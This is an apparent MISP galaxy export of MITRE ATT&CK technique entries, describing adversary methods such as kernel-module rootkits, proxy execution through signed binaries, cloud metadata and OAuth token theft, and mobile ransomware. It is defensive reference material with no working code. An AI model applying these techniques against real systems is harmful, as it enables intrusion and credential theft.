Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)

Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)

Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)

The tag is: *misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1215"*

Table 8164. Table References

Links
http://tldp.org/HOWTO/Module-HOWTO/x197.html

http://www.megasecurity.org/papers/Rootkits.pdf
http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html
https://attack.mitre.org/techniques/T1215
https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux
https://github.com/f0rb1dd3n/Reptile
https://github.com/m0nad/Diamorphine
https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/
https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html
https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/
https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/
https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Build Image on Host - T1612

Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote <code>build</code> request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)

An adversary may take advantage of that <code>build</code> API to build a custom image on the host that includes malware downloaded from their C2 server, and then they may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it's a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment.

The tag is: *misp-galaxy:mitre-attack-pattern="Build Image on Host - T1612"*

Table 8165. Table References

Links
https://attack.mitre.org/techniques/T1612
https://blog.aquasec.com/malicious-container-image-docker-container-host
https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild

https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation

Network Share Connection Removal - T1126

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\system\share /delete</code> command. (Citation: Technet Net Use)

The tag is: *misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1126"*

Table 8166. Table References

Links
https://attack.mitre.org/techniques/T1126
https://technet.microsoft.com/bb490717.aspx

System Script Proxy Execution - T1216

Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)

The tag is: *misp-galaxy:mitre-attack-pattern="System Script Proxy Execution - T1216"*

Table 8167. Table References

Links
https://attack.mitre.org/techniques/T1216
https://github.com/LOLBAS-Project/LOLBAS#criteria
https://github.com/api0cradle/UltimateAppLockerByPassList

System Binary Proxy Execution - T1218

Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are

often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.

Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)

The tag is: *misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"*

Table 8168. Table References

Links
https://attack.mitre.org/techniques/T1218
https://github.com/LOLBAS-Project/LOLBAS#criteria
https://gtfobins.github.io/gtfobins/split/
https://man7.org/linux/man-pages/man1/split.1.html

Build social network persona - T1341

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1341).

For attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites ([Facebook](https://www.facebook.com), [LinkedIn](https://www.linkedin.com), [Twitter](https://twitter.com), [Google+](https://plus.google.com), etc.). (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)

The tag is: *misp-galaxy:mitre-attack-pattern="Build social network persona - T1341"*

Table 8169. Table References

Links
http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
https://attack.mitre.org/techniques/T1341
https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation

Remote access tool development - T1351

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content

of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1351).

A remote access tool (RAT) is a piece of software that allows a remote user to control a system as if they had physical access to that system. An adversary may utilize existing RATs, modify existing RATs, or create their own RAT. (Citation: ActiveMalwareEnergy)

The tag is: *misp-galaxy:mitre-attack-pattern="Remote access tool development - T1351"*

Table 8170. Table References

Links
https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/
https://attack.mitre.org/techniques/T1351

Container and Resource Discovery - T1613

Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.

These resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment's configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary's next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution.

The tag is: *misp-galaxy:mitre-attack-pattern="Container and Resource Discovery - T1613"*

Table 8171. Table References

Links
https://attack.mitre.org/techniques/T1613
https://docs.docker.com/engine/api/v1.41/
https://kubernetes.io/docs/concepts/overview/kubernetes-api/

Secure and protect infrastructure - T1317

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1317).

An adversary may secure and protect their infrastructure just as defenders do. This could include the use of VPNs, security software, logging and monitoring, passwords, or other defensive measures. (Citation: KrebsTerracottaVPN)

The tag is: *misp-galaxy:mitre-attack-pattern="Secure and protect infrastructure - T1317"*

Table 8172. Table References

Links
https://attack.mitre.org/techniques/T1317

Obfuscate or encrypt code - T1319

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1319).

Obfuscation is the act of creating code that is more difficult to understand. Encoding transforms the code using a publicly available format. Encryption transforms the code such that it requires a key to reverse the encryption. (Citation: CylanceOpCleaver)

The tag is: *misp-galaxy:mitre-attack-pattern="Obfuscate or encrypt code - T1319"*

Table 8173. Table References

Links
https://attack.mitre.org/techniques/T1319

Elevated Execution with Prompt - T1514

Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.

Adversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)

The tag is: *misp-galaxy:mitre-attack-pattern="Elevated Execution with Prompt - T1514"*

Table 8174. Table References

Links

https://attack.mitre.org/techniques/T1514
https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg
https://objective-see.com/blog/blog_0x2A.html
https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8
https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/

Data Encrypted for Impact - T1471

An adversary may encrypt files stored on a mobile device to prevent the user from accessing them. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.

The tag is: *misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1471"*

Table 8175. Table References

Links
https://attack.mitre.org/techniques/T1471
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html

Hidden Files and Directories - T1158

To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS).

Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.

Windows

Users can mark specific files as hidden by using the attrib.exe binary. Simply do <code>attrib +h filename</code> to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.

Linux/Mac

Users can mark specific files as hidden simply by putting a “.” as the first character in the file or

folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, '.', are by default hidden from being viewed in the Finder application and standard command-line utilities like "ls". Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application.

Mac

Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). Many applications create these hidden files and folders to store information so that it doesn't clutter up the user's workspace. For example, SSH utilities create a .ssh folder that's hidden and contains the user's known hosts and keys.

The tag is: *misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158"*

Table 8176. Table References

Links
https://attack.mitre.org/techniques/T1158
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf

Gather Victim Org Information - T1591

Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

The tag is: *misp-galaxy:mitre-attack-pattern="Gather Victim Org Information - T1591"*

Table 8177. Table References

Links
https://attack.mitre.org/techniques/T1591
https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/
https://www.sec.gov/edgar/search/

Search Threat Vendor Data - T1681

Threat actors may seek information/indicators from closed or open threat intelligence sources gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. These reports may include descriptions of behavior, detailed breakdowns of attacks, atomic indicators such as malware hashes or IP addresses, timelines of a group's activity, and more. Adversaries may change their behavior when planning their future operations.

Adversaries have been observed replacing atomic indicators mentioned in blog posts in under a week.(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023) Adversaries have also been seen searching for their own domain names in threat vendor data and then taking them down, likely to avoid seizure or further investigation.(Citation: Sentinel One Contagious Interview ClickFix September 2025)

This technique is distinct from [Threat Intel Vendors](https://attack.mitre.org/techniques/T1597/001) in that it describes threat actors performing reconnaissance on their own activity, not in search of victim information.

The tag is: *misp-galaxy:mitre-attack-pattern="Search Threat Vendor Data - T1681"*

Table 8178. Table References

Links
https://attack.mitre.org/techniques/T1681
https://cloud.google.com/blog/topics/threat-intelligence/vmware-esxi-zero-day-bypass/
https://www.sentinelone.com/labs/contagious-interview-threat-actors-scout-cyber-intel-platforms-reveal-plans-and-ops/

Cloud Storage Object Discovery - T1619

Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.

Cloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Storage Object Discovery - T1619"*

Table 8179. Table References

Links
https://attack.mitre.org/techniques/T1619
https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html
https://docs.microsoft.com/en-us/rest/api/storageservices/list-blobs

System Network Configuration Discovery - T1422

Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of devices they access or through information discovery of remote systems.

Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1422) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.

On Android, details of onboard network interfaces are accessible to apps through the `java.net.NetworkInterface` class.(Citation: NetworkInterface) Previously, the Android `TelephonyManager` class could be used to gather telephony-related device identifiers, information such as the IMSI, IMEI, and phone number. However, starting with Android 10, only preloaded, carrier, the default SMS, or device and profile owner applications can access the telephony-related device identifiers.(Citation: TelephonyManager)

On iOS, gathering network configuration information is not possible without root access.

Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1422) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.

The tag is: *misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422"*

Table 8180. Table References

Links
https://attack.mitre.org/techniques/T1422
https://developer.android.com/reference/android/telephony/TelephonyManager.html
https://developer.android.com/reference/java/net/NetworkInterface.html

Cloud Instance Metadata API - T1522

Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.

Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)

If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)

The de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Instance Metadata API - T1522"*

Table 8181. Table References

Links
https://attack.mitre.org/techniques/T1522
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html
https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse

Identify analyst level gaps - T1233

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1233).

Analysts identify gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: BrighthubGapAnalysis) (Citation: ICD115) (Citation: JP2-01)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify analyst level gaps - T1233"*

Table 8182. Table References

Links
https://attack.mitre.org/techniques/T1233

Generate analyst intelligence requirements - T1234

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1234).

Analysts may receive Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from leadership or key decision makers and generate intelligence requirements to articulate intricacies of information required on a topic or question. (Citation: Herring1999)

The tag is: *misp-galaxy:mitre-attack-pattern="Generate analyst intelligence requirements - T1234"*

Table 8183. Table References

Links
https://attack.mitre.org/techniques/T1234

Command and Scripting Interpreter - T1623

Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, Android is a UNIX-like OS and includes a basic [Unix Shell](https://attack.mitre.org/techniques/T1623/001) that can be accessed via the Android Debug Bridge (ADB) or Java's `Runtime` package.

Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0027) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells.

The tag is: *misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1623"*

Table 8184. Table References

Links
https://attack.mitre.org/techniques/T1623
https://partner.samsungknox.com/mtd

Identify security defensive capabilities - T1263

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1263).

Security defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses. (Citation: OSFingerprinting2014) (Citation: NMAP WAF NSE)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify security defensive capabilities - T1263"*

Table 8185. Table References

Links
https://attack.mitre.org/techniques/T1263

Use multiple DNS infrastructures - T1327

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1327).

A technique used by the adversary similar to Dynamic DNS with the exception that the use of multiple DNS infrastructures likely have whois records. (Citation: KrebsStLouisFed)

The tag is: *misp-galaxy:mitre-attack-pattern="Use multiple DNS infrastructures - T1327"*

Table 8186. Table References

Links
https://attack.mitre.org/techniques/T1327

Analyze application security posture - T1293

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1293).

An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: Li2014ExploitKits) (Citation: RecurlyGHOST)

The tag is: *misp-galaxy:mitre-attack-pattern="Analyze application security posture - T1293"*

Table 8187. Table References

Links
https://attack.mitre.org/techniques/T1293

Exfiltration Over C2 Channel - T1646

Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1646"*

Table 8188. Table References

Links
https://attack.mitre.org/techniques/T1646
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html

Endpoint Denial of Service - T1642

Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users.

On Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode, preventing the user from unlocking the device. After Android 7, only device or profile owners (e.g. MDMs) can reset the device's passcode.(Citation: Android resetPassword)

On iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode; they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device.(Citation: Xiao-KeyRaider)

The tag is: *misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1642"*

Table 8189. Table References

Links
http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/
https://attack.mitre.org/techniques/T1642
https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html#resetPassword(java.lang.String,%20int)

Malicious Software Development Tools - T1462

As demonstrated by the XcodeGhost attack (Citation: PaloAlto-XcodeGhost1), app developers could be provided with modified versions of software development tools (e.g. compilers) that automatically inject malicious or exploitable code into applications.

Detection: Enterprises could deploy integrity checking software to the computers that they use to develop code to detect presence of unauthorized, modified software development tools.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Malicious Software Development Tools - T1462"*

Table 8190. Table References

Links
https://attack.mitre.org/techniques/T1462

Identify technology usage patterns - T1264

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1264).

Technology usage patterns include identifying if users work offsite, connect remotely, or other possibly less restricted/secured access techniques. (Citation: SANSRemoteAccess)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify technology usage patterns - T1264"*

Table 8191. Table References

Links
https://attack.mitre.org/techniques/T1264

Generate Fraudulent Advertising Revenue - T1472

An adversary could seek to generate fraudulent advertising revenue from mobile devices, for example by triggering automatic clicks of advertising links without user involvement.

The tag is: *misp-galaxy:mitre-attack-pattern="Generate Fraudulent Advertising Revenue - T1472"*

Table 8192. Table References

Links
https://attack.mitre.org/techniques/T1472

Identify sensitive personnel information - T1274

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1274).

An adversary may identify sensitive personnel information not typically posted on a social media site, such as address, marital status, financial history, and law enforcement infractions. This could be conducted by searching public records that are frequently available for free or at a low cost online. (Citation: RSA-APTRecon)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify sensitive personnel information - T1274"*

Table 8193. Table References

Links
https://attack.mitre.org/techniques/T1274

Exploitation of Remote Services - T1428

Adversaries may exploit remote services of enterprise servers, workstations, or other resources to gain unauthorized access to internal systems once inside of a network. Adversaries may exploit remote services by taking advantage of a mobile device's access to an internal enterprise network through local connectivity or through a Virtual Private Network (VPN). Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.

An adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](https://attack.mitre.org/techniques/T1423) or other Discovery methods. These look for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.

Depending on the permissions level of the vulnerable remote service, an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1404) as a result of lateral movement exploitation as well.

The tag is: *misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1428"*

Table 8194. Table References

Links
https://attack.mitre.org/techniques/T1428
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-32.html

Identify web defensive services - T1256

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1256).

An adversary can attempt to identify web defensive services as [CloudFlare](https://www.cloudflare.com), [IPBan](https://github.com/jjxtra/Windows-IP-Ban-Service), and [Snort](https://www.snort.org). This may be done by passively detecting services, like [CloudFlare](https://www.cloudflare.com) routing, or actively, such as by purposefully tripping security defenses. (Citation: NMAP WAF NSE)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify web defensive services - T1256"*

Table 8195. Table References

Links

https://attack.mitre.org/techniques/T1256

Steal Application Access Token - T1528

Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.

Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.

For example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container's token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes Service Accounts)

Similarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment.(Citation: Cider Security Top 10 CICD Security Risks) If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges.

In Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication.(Citation: Entra Managed Identities 2025)(Citation: SpecterOps Managed Identity 2022)

Token theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials.

Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through

[Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)

Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user.

The tag is: *misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528"*

Table 8196. Table References

Links
https://attack.mitre.org/techniques/T1528
https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/
https://auth0.com/learn/refresh-tokens
https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks
https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens
https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols
https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app
